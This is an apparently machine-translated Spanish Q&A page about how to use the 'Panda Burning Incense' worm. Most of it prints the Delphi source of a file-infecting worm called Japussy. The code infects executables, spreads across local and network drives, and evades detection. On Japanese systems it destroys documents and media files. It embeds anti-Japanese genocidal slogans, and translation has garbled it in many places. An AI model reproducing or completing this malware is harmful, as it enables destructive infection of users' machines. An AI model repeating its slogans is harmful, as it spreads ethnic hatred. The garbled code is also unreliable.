Red de conocimiento informático - Conocimiento sistemático - ¿Cómo utilizar el virus Panda Burning Incense?

¿Cómo utilizar el virus Panda Burning Incense?

Cuidado con enterrarte

No tienes conocimientos de programación y seguridad

Aunque te dé las herramientas, no podrás utilizarlas

No es posible hackear la cuenta, OK

Si estás interesado, infórmate bien

"Panda Burning Incense" se ha transformado recientemente en "Anuncio del Cerdo Dorado". Este es un gusano infeccioso que puede infectar el sistema. exe, com, pif, src, html, asp y otros archivos. También puede detener una gran cantidad de procesos de software antivirus y eliminar archivos con la extensión gho. es el archivo de copia de seguridad de GHOST, una herramienta de copia de seguridad del sistema, por lo que se pierden los archivos de copia de seguridad del sistema del usuario. Todos los archivos ejecutables .exe en el sistema del usuario infectado se modifican para que parezcan lindos cerdos dorados.

programa Japussy

usa

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}

const

HeaderSize = 82432; //El tamaño del virus

IconOffset = EB8; //El desplazamiento del icono principal del archivo PE

//En mi Delphi5 SP1 El tamaño obtenido por compilación puede ser diferente en otras versiones de Delphi

//Busque la cadena hexadecimal de 2800000020 para encontrar el desplazamiento del icono principal

{

HeaderSize = 38912; //El tamaño del virus comprimido por Upx

IconOffset = BC; //El desplazamiento del icono principal del archivo PE comprimido por Upx

//Upx 1.24 W Uso: upx -9 --8086 Japussy.exe

}

IconSize = E8 //El tamaño del icono principal del archivo PE es 744 bytes;

IconTail = IconOffset IconSize; //Cola del icono principal del archivo PE

ID = 444444 //Marca de infección

//Código inútil para escribiendo

Catchword = 'Si es necesario exterminar una raza, debe ser Yamato. '

'Si es necesario destruir un país, debe ser Japón. p>

'** * W32.Japussy.Worm.A ***';

{$R *.RES}

función RegisterServiceProcess(dwProcessID, dwType: Entero ): Entero;

stDCall; external 'Kernel32.dll'; //Declaración de función

var

TmpFile: cadena; Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //Marca del sistema operativo de la versión japonesa

{Juzga si es Windows 9. versión X}

función IsWin9x: booleano

var

Ver: TOSVersionInfo

comenzar

Resultado; := Falso;

Ver.dwOSVersionInfoSize:= SizeOf(TOSVersionInfo

si no es GetVersionEx(Ver) entonces

Salir; >if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces //Win9x

Resultado:= Verdadero

fin

{ Copiar entre secuencias;

}

procedimiento CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer

var

sCurPos, dCurPos: Entero;

comenzar

sCurPos:= Src.Position

dCurPos:= Dst.Position

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Conde

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ Eliminar el archivo host del infectado. Archivo PE para uso}

procedimiento ExtractFile(FileName: string);

var

sStream, dStream: TFileStream

begin <; /p>

pruebe

sStream := TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone

pruebe

dStream:= TFileStream); .Create(FileName, fmCreate);

prueba

sStream.Seek(HeaderSize, 0); //Omite la parte del virus del encabezado

dStream. CopyFrom(sStream, sStream.Size - HeaderSize)

finalmente

dStream.Free

end

finalmente

sStream.Free

fin

excepto

fin

fin; {Rellenar estructura STARTUPINFO}

procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Word

begin

Si.cb := SizeOf (Si);

Si.lpReserved:= nil

Si.lpDesktop:= nil

Si.lpTitle:= nil; .dwFlags:= STARTF_USESHOWWINDOW;

Si.wShowWindow:= Estado;

Si.cbReserved2:= 0

Si.lpReserved2:= nil; p>

fin;

{Envío de correos electrónicos venenosos}

procedimiento SendMail

comenzar

;

//Terminación del correo

end;

{Archivo PE infectado}

procedimiento InfectOneFile(FileName: string)

var

end; p>

var

p>

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream

iID: LongInt; p>

aIcon: TIcon;

Infectado, IsPE: booleano;

i: entero

Buf: matriz[0..1] de Char;

begin

try //Si ocurre un error, el archivo se está utilizando, salga

if CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Si es usted mismo, no estará infectado

Salir;

Infectado:= Falso

IsPE:= Falso

p>

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

pruebe

for i := 0 a 8 do //Verifique el encabezado del archivo PE

comenzar

SrcStream.Seek(i, soFromBeginning

p>

SrcStream.Read(Buf, 2

if (Buf[0); ] = #80) y (Buf[1] = #69) luego //marca PE

comenzar

IsPE:= True //Es un archivo PE

Romper;

fin;

fin;

fin p>

SrcStream.Seek(-4, soFromEnd); indicador de infección

SrcStream.Read(iID, 4);

si (iID = ID) o (SrcStream.Size lt; 10240) entonces //Los archivos menores a 10240 no están infectados

Infectado:= Verdadero;

finalmente

SrcStream.Free;

fin

si está infectado o (no IsPE) luego //Salir si está infectado o no es un archivo PE

Salir

IcoStream:= TMemoryStream.Create

DstStream:= TMemoryStream. Crear;

probar

aIcon:= TIcon.Create;

probar

//Obtener el icono principal (744 bytes) de el archivo infectado y guárdelo en la secuencia

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName),

aIcon.SaveToStream(IcoStr

equipo);

finalmente

aIcon.Free

end

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

//Archivo de encabezado

HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead o fmShareDenyNone

prueba

; //Escribe los datos antes del icono principal del virus

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//Escribe el icono principal del programa actual

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize

//Escribe los datos del icono principal del virus en la cola del virus

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//Escribir en el programa host

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); );

//Escribir etiquetas infectadas

DstStream.Seek(0, 2);

iID:= 444444; .Escribir (iID, 4);

finalmente

HdrStream.Free

final

finalmente

SrcStream .Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //Reemplazar el archivo host

DstStream.Free

end;

except;

end;

end;

{ Escribe código inútil en el archivo de destino y luego eliminarlo}

procedimiento SmashFile(FileName: string);

var

FileHandle: Integer

i, Tamaño, Masa, Max, Len: Integer ;

comenzar

intentar

SetFileAttributes(PChar(FileName), 0 //Eliminar atributos de solo lectura

FileHandle := FileOpen(FileName, fmOpenWrite); //Abre el archivo

intenta

Tamaño:= GetFileSize(FileHandle, nil); /p>

i: = 0;

Aleatorio;

Max := Random(15); //El número aleatorio de veces para escribir código inútil

si Máx lt; 5 entonces

Máx:=

Masa:= Tamaño div Max; //El tamaño de cada bloque de intervalo

Len:= Longitud(Catchword

mientras i lt;

begin

FileSeek(FileHandle, i * Mass, 0); //Posicionamiento

// ¡Escribe código inútil y destruye completamente el archivo!

FileWrite(FileHandle, Catchword, Len);

Inc(i

fin

finalmente

<; p>FileClose(FileHandle); //Cerrar el archivo

end;

DeleteFile(PChar(FileName)); //Eliminar

excepto

end;

end;

{Obtener una lista de unidades en las que se puede escribir}

función GetDrives: cadena

var

Tipo de disco: Palabra

D: Char;

Str: cadena

i: Entero; p>

begin

for i := 0 a 25 do //Atravesar 26 letras

begin

D := Chr(i 65);

Str:= D ':\';

DiskType:= GetDriveType(PChar(Str));

//Obtener disco local y disco de red

si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado:= Resultado D

end;

{Atravesar directorios, infectar y destruir archivos}

procedimiento LoopFiles(Ruta, Máscara: cadena

var

i); Recuento: Entero;

Fn, Ext: cadena;

SubDir: TStrings;

SearchRec: TSearchRec

Mensaje: TMsg;

función IsValidDir(SearchRec: TSearchRec): Entero;

comenzar

if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt; gt; ' .') y

(SearchRec.Name lt; gt; '..') luego

Resultado:= 0 //No es un directorio

de lo contrario, si ( SearchRec.Attr = 16) y (SearchRec.Name lt; gt; '.') y

(SearchRec.Name lt; gt; '..') entonces

Resultado: = 1 //No es el directorio raíz

Registro

else Resultado:= 2; //Es el directorio raíz

end

begin

if (FindFirst(Path; Mask, faAnyFile, SearchRec) = 0) luego

comenzar

repetir

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); cola de mensajes, evite levantar sospechas

si IsValidDir(SearchRec) = 0 entonces

comience

Fn := Path SearchRec.Name

Ext : = UpperCase(ExtractFileExt(Fn));

si (Ext = '.EXE') o (Ext = '.SCR') entonces

comenzar

InfectOneFile(Fn); //Infectar archivo ejecutable

end

else if (Ext = '.HTM') o (Ext = '.HTML') o (Ext = ' .ASP') luego

comenzar

//Infectar archivos HTML y ASP y escribir el virus codificado en Base64

//Infectar a las personas que navegan por esto página web Todos los usuarios

//¿Qué hermano mayor está dispuesto a completarlo?

finalizar

de lo contrario si Ext = '.WAB' entonces //archivo de libreta de direcciones de Outlook

comenzar

//obtener correo de Outlook Dirección

fin

de lo contrario si Ext = '.ADC' entonces //archivo de autocompletar dirección de Foxmail

comenzar

// Obtenga la dirección de correo electrónico de Foxmail

end

de lo contrario, si Ext = 'IND', entonces //el archivo de la libreta de direcciones de Foxmail

comenzará

// Obtenga la dirección de correo electrónico de Foxmail

end

si no

comienzo

si es japonés, entonces //Es un sistema operativo japonés

comenzar

si (Ext = '.DOC') o (Ext = '.XLS') o (Ext = '.MDB') o

(Ext = ' .MP3' ) o (Ext = '.RM') o (Ext = '.RA') o

(Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.RAR') o

(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG') o

(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o

(Ext = '.PDF') o (Ext = '.CHM') o (Ext = '.AVI') luego

SmashFile(Fn); //Destruye el archivo

end;

end;

end;

//Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU

Dormir(200);

hasta (FindNext(SearchRec) lt; gt; 0

fin;

FindClose(SearchRec); p>

p>

SubDir := TStringList.Create;

if (FindFirst(Path '*.*', faDirectory, SearchRec) = 0) entonces

comenzar

repetir

si IsValidDir(SearchRec) = 1 entonces

SubDir.Add(SearchRec.Name

hasta (FindNext); (SearchRec) lt; gt; 0);

fin;

BuscarClose(SearchRec)

Contar:= SubDir.Count - 1; >

para i:= 0 para contar

LoopFiles(Path SubDir.Strings '\', Mask

FreeAndNil(SubDir

end;

end p>

{Recorre todos los archivos en el disco}

procedimiento InfectFiles

var

DriverList; : cadena;

i , Len: Entero

comenzar

si GetACP = 932 entonces //sistema operativo japonés

IsJap: = Verdadero; //¡Vete al infierno!

DriverList:= GetDrives; //Obtener la lista de discos grabables

Len:= Longitud(DriverList

mientras True do //Bucle infinito< / p>

comenzar

for i := Len downto 1 do //Recorrer cada unidad de disco

LoopFiles(DriverList ':\', '*.*') / /Infección

SendMail; //Enviar correo venenoso

Sleep(1000 * 60 * 5); //Dormir durante 5 minutos

end; >

fin;

{Inicio del programa principal}

comenzar

si esWin9x entonces //Es Win9x

RegisterServiceProcess (GetCurrentProcessID, 1) //Registrarse como proceso de servicio

else //WinNT

comenzar

//Subproceso remoto asignado al proceso Explorer

//

end;

//Si es el virus original en sí

if CompareText(ExtractFileName(ParamStr(0)), 'Japus

sy.exe') = 0 entonces

InfectFiles //Infección y envío de correos electrónicos

else //Ha parasitado el programa host y ha comenzado a trabajar

comenzar

begin

p>

TmpFile:= ParamStr(0); //Crea un archivo temporal

Delete(TmpFile, Longitud(TmpFile) - 4, 4);

TmpFile:= TmpFile #32 '.exe'; //Archivo host real, un espacio más

ExtractFile(TmpFile); //Separación

FillStartupInfo; (Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '.', Si, Pi) ; //Crea un nuevo proceso para ejecutar

InfectFiles; //Infección y envío de correos electrónicos

end

end. comando apagado -a //Cancelar virus en la computadora Apague el teléfono durante la cuenta regresiva final.